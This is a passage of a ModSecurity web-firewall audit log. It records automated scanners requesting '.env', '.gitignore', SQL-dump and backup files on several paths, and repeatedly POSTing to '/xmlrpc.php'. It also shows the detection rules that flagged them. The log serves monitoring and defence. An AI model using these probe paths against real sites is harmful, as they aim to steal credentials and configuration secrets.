X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --feb9d909-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=44a1725bc4e52ec064b6789ee5501c421750013806; expires=Sun, 15 Jun 2025 19:56:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --feb9d909-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/babel-plugin-dotenv/test/fixtures/as-alias/.env"] [unique_id "aE8XbZnj7pFxi-BGHz6oEgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013805800212 687633 (- - -) Stopwatch2: 1750013805800212 687633; combined=2074, p1=357, p2=1611, p3=0, p4=0, p5=106, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --feb9d909-Z-- --af80930b-A-- [16/Jun/2025:00:26:47.471370 +0530] aE8XblN7jBJHKxYIrrCyzgAAAAk 185.177.72.210 54738 127.0.0.1 7081 --af80930b-B-- GET /munki_repo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --af80930b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f9b8bb38bed79ccf0be55dbfc6842a271750013807; expires=Sun, 15 Jun 2025 19:56:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --af80930b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/munki_repo/.env"] [unique_id "aE8XblN7jBJHKxYIrrCyzgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013806810094 661337 (- - -) Stopwatch2: 1750013806810094 661337; combined=1804, p1=396, p2=1317, p3=0, p4=0, p5=90, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --af80930b-Z-- --a9a2d47f-A-- [16/Jun/2025:00:27:23.965274 +0530] aE8Xky7MaF0j8lD2KTIS8QAAAAM 128.199.112.101 35262 127.0.0.1 7081 --a9a2d47f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a9a2d47f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a9a2d47f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Xky7MaF0j8lD2KTIS8QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013843022894 942437 (- - -) Stopwatch2: 1750013843022894 942437; combined=2703, p1=376, p2=1936, p3=43, p4=64, p5=177, sr=100, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a9a2d47f-Z-- --e944b71a-A-- [16/Jun/2025:00:28:09.596350 +0530] aE8XwHsalJN_0-_70dLqyAAAAAU 185.177.72.210 33420 127.0.0.1 7081 --e944b71a-B-- GET /deploy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e944b71a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=294ca4b39bd3df6bc70b09501f0b24181750013889; expires=Sun, 15 Jun 2025 19:58:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e944b71a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/deploy/.env"] [unique_id "aE8XwHsalJN_0-_70dLqyAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013888894971 701487 (- - -) Stopwatch2: 1750013888894971 701487; combined=2732, p1=518, p2=2107, p3=0, p4=0, p5=106, sr=131, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e944b71a-Z-- --61140d22-A-- [16/Jun/2025:00:28:11.622391 +0530] aE8Xwj3D4g1mGjVnV5KBZQAAAAY 185.177.72.210 50552 127.0.0.1 7081 --61140d22-B-- GET /:5601/site/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61140d22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a8fb2f358fc015abc4b7f2181d2dbdd01750013891; expires=Sun, 15 Jun 2025 19:58:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61140d22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/site/.env"] [unique_id "aE8Xwj3D4g1mGjVnV5KBZQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013890957878 664616 (- - -) Stopwatch2: 1750013890957878 664616; combined=2011, p1=401, p2=1487, p3=0, p4=0, p5=123, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61140d22-Z-- --d918d872-A-- [16/Jun/2025:00:28:16.007465 +0530] aE8XxyhnDkBlcF0fkxMJWAAAAAQ 185.177.72.210 50712 127.0.0.1 7081 --d918d872-B-- GET /.gitignore/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d918d872-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=289bc50df51fda1a465f4f3a6e80301b1750013895; expires=Sun, 15 Jun 2025 19:58:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d918d872-H-- Message: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.gitignore/"] [unique_id "aE8XxyhnDkBlcF0fkxMJWAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013895363693 643836 (- - -) Stopwatch2: 1750013895363693 643836; combined=1921, p1=365, p2=1464, p3=0, p4=0, p5=91, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d918d872-Z-- --1aca0323-A-- [16/Jun/2025:00:28:17.047871 +0530] aE8XyFeqy5hRjKvJEAyXswAAAAE 185.177.72.210 50748 127.0.0.1 7081 --1aca0323-B-- GET /:10000/.c9/metadata/environnement/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1aca0323-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=203ec10692281e5ed0aba38e60c25a631750013896; expires=Sun, 15 Jun 2025 19:58:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1aca0323-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.c9/metadata/environnement/.env"] [unique_id "aE8XyFeqy5hRjKvJEAyXswAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013896370544 677401 (- - -) Stopwatch2: 1750013896370544 677401; combined=1964, p1=434, p2=1422, p3=0, p4=0, p5=108, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1aca0323-Z-- --14fc4734-A-- [16/Jun/2025:00:28:24.306159 +0530] aE8Xzz3D4g1mGjVnV5KBagAAAAY 128.199.112.101 55490 127.0.0.1 7081 --14fc4734-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --14fc4734-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --14fc4734-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Xzz3D4g1mGjVnV5KBagAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013903339702 966514 (- - -) Stopwatch2: 1750013903339702 966514; combined=2294, p1=384, p2=1465, p3=49, p4=73, p5=198, sr=109, sw=125, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --14fc4734-Z-- --dfb5637a-A-- [16/Jun/2025:00:28:37.284079 +0530] aE8X3Jnj7pFxi-BGHz6oWwAAAAI 185.177.72.210 39812 127.0.0.1 7081 --dfb5637a-B-- GET /:8181/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dfb5637a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0a1aaa16a56469564c6c70eaee0f886a1750013917; expires=Sun, 15 Jun 2025 19:58:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dfb5637a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/statisch/.env"] [unique_id "aE8X3Jnj7pFxi-BGHz6oWwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013916621362 662848 (- - -) Stopwatch2: 1750013916621362 662848; combined=1908, p1=382, p2=1410, p3=0, p4=0, p5=115, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dfb5637a-Z-- --a772f155-A-- [16/Jun/2025:00:28:40.375174 +0530] aE8X3yhnDkBlcF0fkxMJbAAAAAQ 185.177.72.210 52406 127.0.0.1 7081 --a772f155-B-- GET /2014.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a772f155-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7e4005bbd0d18cc495508b59b9e0543a1750013920; expires=Sun, 15 Jun 2025 19:58:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a772f155-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2014.sql"] [unique_id "aE8X3yhnDkBlcF0fkxMJbAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013919725688 649596 (- - -) Stopwatch2: 1750013919725688 649596; combined=1733, p1=359, p2=1276, p3=0, p4=0, p5=98, sr=123, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a772f155-Z-- --993ac36f-A-- [16/Jun/2025:00:28:43.276209 +0530] aE8X4pnj7pFxi-BGHz6oXgAAAAI 185.177.72.210 52552 127.0.0.1 7081 --993ac36f-B-- GET /konfig.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --993ac36f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e6f024fd5f8cbff0749add72d61b4aa21750013923; expires=Sun, 15 Jun 2025 19:58:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --993ac36f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/konfig.backup"] [unique_id "aE8X4pnj7pFxi-BGHz6oXgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013922638894 637388 (- - -) Stopwatch2: 1750013922638894 637388; combined=1989, p1=356, p2=1543, p3=0, p4=0, p5=90, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --993ac36f-Z-- --cede166a-A-- [16/Jun/2025:00:29:24.241904 +0530] aE8YCz3D4g1mGjVnV5KBmAAAAAY 128.199.112.101 58248 127.0.0.1 7081 --cede166a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cede166a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cede166a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8YCz3D4g1mGjVnV5KBmAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013963284948 957032 (- - -) Stopwatch2: 1750013963284948 957032; combined=2502, p1=412, p2=1544, p3=54, p4=81, p5=257, sr=117, sw=154, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cede166a-Z-- --3739d01f-A-- [16/Jun/2025:00:29:48.445801 +0530] aE8YIz3D4g1mGjVnV5KBpAAAAAY 185.177.72.210 45948 127.0.0.1 7081 --3739d01f-B-- GET /conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3739d01f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=35155b1073ef079e8024b8b5aaa600381750013988; expires=Sun, 15 Jun 2025 19:59:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3739d01f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/conf/.env"] [unique_id "aE8YIz3D4g1mGjVnV5KBpAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013987782652 663314 (- - -) Stopwatch2: 1750013987782652 663314; combined=1831, p1=353, p2=1368, p3=0, p4=0, p5=109, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3739d01f-Z-- --79708e4f-A-- [16/Jun/2025:00:29:58.952493 +0530] aE8YLu5gkr5NYpwyzHHzfQAAAAg 185.177.72.210 43714 127.0.0.1 7081 --79708e4f-B-- GET /:8000/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --79708e4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1b84f62a0f45a7fcb26ec7f5a4ed1aa41750013998; expires=Sun, 15 Jun 2025 19:59:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --79708e4f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] 